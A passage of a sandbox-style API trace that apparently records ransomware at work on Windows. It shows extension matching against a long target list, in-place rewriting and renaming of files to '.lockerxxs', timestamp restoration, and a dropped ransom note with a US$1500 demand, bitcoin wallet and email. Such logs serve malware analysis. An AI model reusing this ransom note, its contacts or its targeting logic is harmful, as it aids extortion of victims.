(lpString="*.flac") returned 6 [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.m4a") returned 0 [0069.544] lstrlenA (lpString="*.m4a") returned 5 [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", pszSpec="*.csv") returned 0 [0069.544] lstrlenA (lpString="*.csv") returned 5 [0069.544] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.544] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.544] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.544] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.544] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.544] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini") returned="eula.ini" [0069.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" [0069.544] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="" [0069.544] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt" [0069.544] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\how to decrypt files.txt")) returned 0x20 [0069.544] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" [0069.544] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.ems") returned 0 [0069.545] lstrlenA (lpString="*.ems") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.db") returned 0 [0069.545] lstrlenA (lpString="*.db") returned 4 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.dbf") returned 0 [0069.545] lstrlenA (lpString="*.dbf") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.myox") returned 0 [0069.545] lstrlenA (lpString="*.myox") returned 6 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.myo") returned 0 [0069.545] lstrlenA (lpString="*.myo") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qbw") returned 0 [0069.545] lstrlenA (lpString="*.qbw") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qbb") returned 0 [0069.545] lstrlenA (lpString="*.qbb") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qbm") returned 0 [0069.545] lstrlenA (lpString="*.qbm") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qbo") returned 0 [0069.545] lstrlenA (lpString="*.qbo") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qbx") returned 0 [0069.545] lstrlenA (lpString="*.qbx") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qba") returned 0 [0069.545] lstrlenA (lpString="*.qba") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qby") returned 0 [0069.545] lstrlenA (lpString="*.qby") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qbj") returned 0 [0069.545] lstrlenA (lpString="*.qbj") returned 5 [0069.545] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.ofx") returned 0 [0069.545] lstrlenA (lpString="*.ofx") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.qif") returned 0 [0069.546] lstrlenA (lpString="*.qif") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.mye") returned 0 [0069.546] lstrlenA (lpString="*.mye") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.mbox") returned 0 [0069.546] lstrlenA (lpString="*.mbox") returned 6 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.eml") returned 0 [0069.546] lstrlenA (lpString="*.eml") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.pst") returned 0 [0069.546] lstrlenA (lpString="*.pst") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.ost") returned 0 [0069.546] lstrlenA (lpString="*.ost") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.idx") returned 0 [0069.546] lstrlenA (lpString="*.idx") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.dbx") returned 0 [0069.546] lstrlenA (lpString="*.dbx") returned 5 [0069.546] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", pszSpec="*.sql") returned 0 [0069.546] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" [0069.546] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" [0069.546] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html." [0069.546] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.lockerxxs" [0069.546] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.547] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13a5b [0069.547] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81df42a0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4)) returned 1 [0069.547] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.547] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x13a35, lpOverlapped=0x0) returned 1 [0069.550] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html") returned="license.html" [0069.551] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.551] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x13a35, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x13a35, lpOverlapped=0x0) returned 1 [0069.551] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.551] CloseHandle (hObject=0x94) returned 1 [0069.553] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html.lockerxxs")) returned 1 [0069.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.557] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="CZE", cAlternateFileName="")) returned 1 [0069.557] lstrcmpA (lpString1=".", lpString2="CZE") returned -1 [0069.557] lstrcmpA (lpString1="..", lpString2="CZE") returned -1 [0069.557] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.557] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" [0069.558] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.559] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.559] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.559] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.559] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.559] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.559] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.559] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.559] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.559] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.559] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*.*") returned="*.*" [0069.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" [0069.559] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="" [0069.560] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt" [0069.560] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\how to decrypt files.txt")) returned 0xffffffff [0069.560] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.560] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.560] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.562] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.562] CloseHandle (hObject=0x94) returned 1 [0069.562] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini" [0069.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.ems") returned 0 [0069.562] lstrlenA (lpString="*.ems") returned 5 [0069.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.db") returned 0 [0069.562] lstrlenA (lpString="*.db") returned 4 [0069.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.dbf") returned 0 [0069.562] lstrlenA (lpString="*.dbf") returned 5 [0069.562] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.myox") returned 0 [0069.563] lstrlenA (lpString="*.myox") returned 6 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.myo") returned 0 [0069.563] lstrlenA (lpString="*.myo") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qbw") returned 0 [0069.563] lstrlenA (lpString="*.qbw") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qbb") returned 0 [0069.563] lstrlenA (lpString="*.qbb") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qbm") returned 0 [0069.563] lstrlenA (lpString="*.qbm") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qbo") returned 0 [0069.563] lstrlenA (lpString="*.qbo") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qbx") returned 0 [0069.563] lstrlenA (lpString="*.qbx") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qba") returned 0 [0069.563] lstrlenA (lpString="*.qba") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qby") returned 0 [0069.563] lstrlenA (lpString="*.qby") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qbj") returned 0 [0069.563] lstrlenA (lpString="*.qbj") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.ofx") returned 0 [0069.563] lstrlenA (lpString="*.ofx") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.qif") returned 0 [0069.563] lstrlenA (lpString="*.qif") returned 5 [0069.563] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mye") returned 0 [0069.564] lstrlenA (lpString="*.mye") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mbox") returned 0 [0069.564] lstrlenA (lpString="*.mbox") returned 6 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.eml") returned 0 [0069.564] lstrlenA (lpString="*.eml") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.pst") returned 0 [0069.564] lstrlenA (lpString="*.pst") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.ost") returned 0 [0069.564] lstrlenA (lpString="*.ost") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.idx") returned 0 [0069.564] lstrlenA (lpString="*.idx") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.dbx") returned 0 [0069.564] lstrlenA (lpString="*.dbx") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.sql") returned 0 [0069.564] lstrlenA (lpString="*.sql") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.mdb") returned 0 [0069.564] lstrlenA (lpString="*.mdb") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.fdb") returned 0 [0069.564] lstrlenA (lpString="*.fdb") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.wab") returned 0 [0069.564] lstrlenA (lpString="*.wab") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.dat") returned 0 [0069.564] lstrlenA (lpString="*.dat") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.txt") returned 0 [0069.564] lstrlenA (lpString="*.txt") returned 5 [0069.564] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.565] lstrlenA (lpString="*.jpeg") returned 6 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.jpg") returned 0 [0069.565] lstrlenA (lpString="*.jpg") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.png") returned 0 [0069.565] lstrlenA (lpString="*.png") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.php") returned 0 [0069.565] lstrlenA (lpString="*.php") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.cs") returned 0 [0069.565] lstrlenA (lpString="*.cs") returned 4 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.cpp") returned 0 [0069.565] lstrlenA (lpString="*.cpp") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.rar") returned 0 [0069.565] lstrlenA (lpString="*.rar") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.zip") returned 0 [0069.565] lstrlenA (lpString="*.zip") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.html") returned 0 [0069.565] lstrlenA (lpString="*.html") returned 6 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\eula.ini", pszSpec="*.htm") returned 0 [0069.565] lstrlenA (lpString="*.htm") returned 5 [0069.565] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 